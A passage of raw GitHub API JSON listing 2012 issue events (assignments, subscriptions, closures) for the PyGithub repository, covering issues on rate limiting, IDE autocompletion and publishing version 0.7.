schemes","labels":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Functionalities","name":"Functionalities","color":"e102d8"}],"created_at":"2012-03-13T06:24:05Z","state":"closed","user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"id":3624575,"pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"html_url":"https://github.com/PyGithub/PyGithub/issues/15"},"commit_id":null,"created_at":"2012-05-25T17:32:31Z","event":"closed","id":16292758,"actor":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146}},{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events/16266502","issue":{"updated_at":"2012-05-25T17:32:32Z","body":"","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/29","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/5","number":5,"title":"Version 0.7","due_on":"2012-05-26T07:00:00Z","closed_issues":2,"open_issues":0,"created_at":"2012-05-25T11:47:06Z","state":"closed","description":"","id":124045},"number":29,"assignee":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"closed_at":"2012-05-25T17:32:32Z","title":"Publish version 0.7","labels":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management","name":"Project management","color":"444444"}],"created_at":"2012-05-25T11:47:59Z","state":"closed","user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"id":4752048,"pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"html_url":"https://github.com/PyGithub/PyGithub/issues/29"},"commit_id":null,"created_at":"2012-05-25T11:47:59Z","event":"assigned","id":16266502,"actor":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146}},{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events/16266501","issue":{"updated_at":"2012-05-25T17:32:32Z","body":"","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/29","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/5","number":5,"title":"Version 0.7","due_on":"2012-05-26T07:00:00Z","closed_issues":2,"open_issues":0,"created_at":"2012-05-25T11:47:06Z","state":"closed","description":"","id":124045},"number":29,"assignee":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"closed_at":"2012-05-25T17:32:32Z","title":"Publish version 0.7","labels":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management","name":"Project management","color":"444444"}],"created_at":"2012-05-25T11:47:59Z","state":"closed","user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"id":4752048,"pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"html_url":"https://github.com/PyGithub/PyGithub/issues/29"},"commit_id":null,"created_at":"2012-05-25T11:47:59Z","event":"subscribed","id":16266501,"actor":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146}},{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events/15883398","issue":{"updated_at":"2012-05-21T12:09:57Z","body":"Hi!\n\nI tried to find a function which returns the number of API requests I have remaining due to [rate limiting](http://developer.github.com/v3/#rate-limiting). Is this somewhere in the library and I can't find it? If not, I think it would be a great feature to have, to be able to keep track of how many requests certain actions use up.","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/26","comments":4,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/2","number":2,"title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","closed_issues":2,"open_issues":10,"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/PyGithub/PyGithub/tree/topic/RewriteWithGeneratedCode","id":93547},"number":26,"assignee":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"closed_at":"2012-05-21T11:17:12Z","title":"Rate limiting?","labels":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Public+interface","name":"Public interface","color":"d7e102"}],"created_at":"2012-05-17T12:02:05Z","state":"closed","user":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"id":4622816,"pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"html_url":"https://github.com/PyGithub/PyGithub/issues/26"},"commit_id":null,"created_at":"2012-05-21T11:17:12Z","event":"closed","id":15883398,"actor":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146}},{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events/15820048","issue":{"updated_at":"2012-05-26T14:59:33Z","body":"Body edited by PyGithub","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/28","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/1","number":1,"title":"Version 0.4","due_on":"2012-03-13T07:00:00Z","closed_issues":3,"open_issues":0,"created_at":"2012-03-08T12:22:10Z","state":"closed","description":"","id":93546},"number":28,"assignee":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"closed_at":"2012-05-26T14:59:33Z","title":"Issue created by PyGithub","labels":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug","name":"Bug","color":"e10c02"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management","name":"Project management","color":"444444"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Question","name":"Question","color":"02e10c"}],"created_at":"2012-05-19T10:38:23Z","state":"closed","user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"id":4653757,"pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"html_url":"https://github.com/PyGithub/PyGithub/issues/28"},"commit_id":null,"created_at":"2012-05-19T10:42:25Z","event":"assigned","id":15820048,"actor":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146}},{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events/15819975","issue":{"updated_at":"2012-05-26T14:59:33Z","body":"Body edited by PyGithub","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/28","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/1","number":1,"title":"Version 0.4","due_on":"2012-03-13T07:00:00Z","closed_issues":3,"open_issues":0,"created_at":"2012-03-08T12:22:10Z","state":"closed","description":"","id":93546},"number":28,"assignee":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"closed_at":"2012-05-26T14:59:33Z","title":"Issue created by PyGithub","labels":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug","name":"Bug","color":"e10c02"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management","name":"Project management","color":"444444"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Question","name":"Question","color":"02e10c"}],"created_at":"2012-05-19T10:38:23Z","state":"closed","user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"id":4653757,"pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"html_url":"https://github.com/PyGithub/PyGithub/issues/28"},"commit_id":null,"created_at":"2012-05-19T10:38:23Z","event":"subscribed","id":15819975,"actor":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146}},{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events/15756354","issue":{"updated_at":"2012-05-18T11:06:11Z","body":"As per discussion in 6945921c529be14c3a8f566dd1e483674516d46d\n\nI have observed that autocompletion (using PyDev+Eclipse in my case) is pretty erratic.\nFor example, in the tutorial from the readme, `g.get_u` gets autocompleted correctly, but `g.get_user().get_r` (or any method or attribute applicable to `NamedUsers`/`AuthenticatedUser`, really) does not show autocompletion to `g.get_user().get_repo()`.\n\nThis makes exploring the library/API a bit cumbersome. ","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/27","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/2","number":2,"title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","closed_issues":2,"open_issues":10,"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/PyGithub/PyGithub/tree/topic/RewriteWithGeneratedCode","id":93547},"number":27,"assignee":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"closed_at":null,"title":"Facilitate IDE autocompletion","labels":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Public+interface","name":"Public interface","color":"d7e102"}],"created_at":"2012-05-18T10:52:29Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"id":4639931,"pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"html_url":"https://github.com/PyGithub/PyGithub/issues/27"},"commit_id":null,"created_at":"2012-05-18T11:06:05Z","event":"subscribed","id":15756354,"actor":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146}},{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events/15756353","issue":{"updated_at":"2012-05-18T11:06:11Z","body":"As per discussion in 6945921c529be14c3a8f566dd1e483674516d46d\n\nI have observed that autocompletion (using PyDev+Eclipse in my case) is pretty erratic.\nFor example, in the tutorial from the readme, `g.get_u` gets autocompleted correctly, but `g.get_user().get_r` (or any method or attribute applicable to `NamedUsers`/`AuthenticatedUser`, really) does not show autocompletion to `g.get_user().get_repo()`.\n\nThis makes exploring the library/API a bit cumbersome. ","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/27","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/2","number":2,"title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","closed_issues":2,"open_issues":10,"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/PyGithub/PyGithub/tree/topic/RewriteWithGeneratedCode","id":93547},"number":27,"assignee":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"closed_at":null,"title":"Facilitate IDE autocompletion","labels":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Public+interface","name":"Public interface","color":"d7e102"}],"created_at":"2012-05-18T10:52:29Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"id":4639931,"pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"html_url":"https://github.com/PyGithub/PyGithub/issues/27"},"commit_id":null,"created_at":"2012-05-18T11:06:05Z","event":"assigned","id":15756353,"actor":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146}},{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events/15755561","issue":{"updated_at":"2012-05-18T11:06:11Z","body":"As per discussion in 6945921c529be14c3a8f566dd1e483674516d46d\n\nI have observed that autocompletion (using PyDev+Eclipse in my case) is pretty erratic.\nFor example, in the tutorial from the readme, `g.get_u` gets autocompleted correctly, but `g.get_user().get_r` (or any method or attribute applicable to `NamedUsers`/`AuthenticatedUser`, really) does not show autocompletion to `g.get_user().get_repo()`.\n\nThis makes exploring the library/API a bit cumbersome. ","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/27","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/2","number":2,"title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","closed_issues":2,"open_issues":10,"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/PyGithub/PyGithub/tree/topic/RewriteWithGeneratedCode","id":93547},"number":27,"assignee":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"closed_at":null,"title":"Facilitate IDE autocompletion","labels":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Public+interface","name":"Public interface","color":"d7e102"}],"created_at":"2012-05-18T10:52:29Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"id":4639931,"pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"html_url":"https://github.com/PyGithub/PyGithub/issues/27"},"commit_id":null,"created_at":"2012-05-18T10:52:29Z","event":"subscribed","id":15755561,"actor":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442}},{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events/15741471","issue":{"updated_at":"2012-05-21T12:09:57Z","body":"Hi!\n\nI tried to find a function which returns the number of API requests I have remaining due to [rate limiting](http://developer.github.com/v3/#rate-limiting). Is this somewhere in the library and I can't find it? If not, I think it would be a great feature to have, to be able to keep track of how many requests certain actions use up.","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/26","comments":4,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/2","number":2,"title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","closed_issues":2,"open_issues":10,"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/PyGithub/PyGithub/tree/topic/RewriteWithGeneratedCode","id":93547},"number":26,"assignee":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"closed_at":"2012-05-21T11:17:12Z","title":"Rate limiting?","labels":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Public+interface","name":"Public interface","color":"d7e102"}],"created_at":"2012-05-17T12:02:05Z","state":"closed","user":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"id":4622816,"pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"html_url":"https://github.com/PyGithub/PyGithub/issues/26"},"commit_id":null,"created_at":"2012-05-18T05:18:34Z","event":"subscribed","id":15741471,"actor":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146}},{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events/15741470","issue":{"updated_at":"2012-05-21T12:09:57Z","body":"Hi!\n\nI tried to find a function which returns the number of API requests I have remaining due to [rate limiting](http://developer.github.com/v3/#rate-limiting). Is this somewhere in the library and I can't find it? If not, I think it would be a great feature to have, to be able to keep track of how many requests certain actions use up.","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/26","comments":4,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/2","number":2,"title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","closed_issues":2,"open_issues":10,"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/PyGithub/PyGithub/tree/topic/RewriteWithGeneratedCode","id":93547},"number":26,"assignee":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"closed_at":"2012-05-21T11:17:12Z","title":"Rate limiting?","labels":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Public+interface","name":"Public interface","color":"d7e102"}],"created_at":"2012-05-17T12:02:05Z","state":"closed","user":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"id":4622816,"pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"html_url":"https://github.com/PyGithub/PyGithub/issues/26"},"commit_id":null,"created_at":"2012-05-18T05:18:34Z","event":"assigned","id":15741470,"actor":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146}},{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events/15675859","issue":{"updated_at":"2012-05-21T12:09:57Z","body":"Hi!\n\nI tried to find a function which returns the number of API requests I have remaining due to [rate limiting](http://developer.github.com/v3/#rate-limiting). Is this somewhere in the library and I can't find it? If not, I think it would be a great feature to have, to be able to keep track of how many requests certain actions use up.","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/26","comments":4,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/2","number":2,"title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","closed_issues":2,"open_issues":10,"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/PyGithub/PyGithub/tree/topic/RewriteWithGeneratedCode","id":93547},"number":26,"assignee":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"closed_at":"2012-05-21T11:17:12Z","title":"Rate limiting?","labels":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Public+interface","name":"Public interface","color":"d7e102"}],"created_at":"2012-05-17T12:02:05Z","state":"closed","user":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"id":4622816,"pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"html_url":"https://github.com/PyGithub/PyGithub/issues/26"},"commit_id":null,"created_at":"2012-05-17T12:02:05Z","event":"subscribed","id":15675859,"actor":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442}},{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events/14890679","issue":{"updated_at":"2012-05-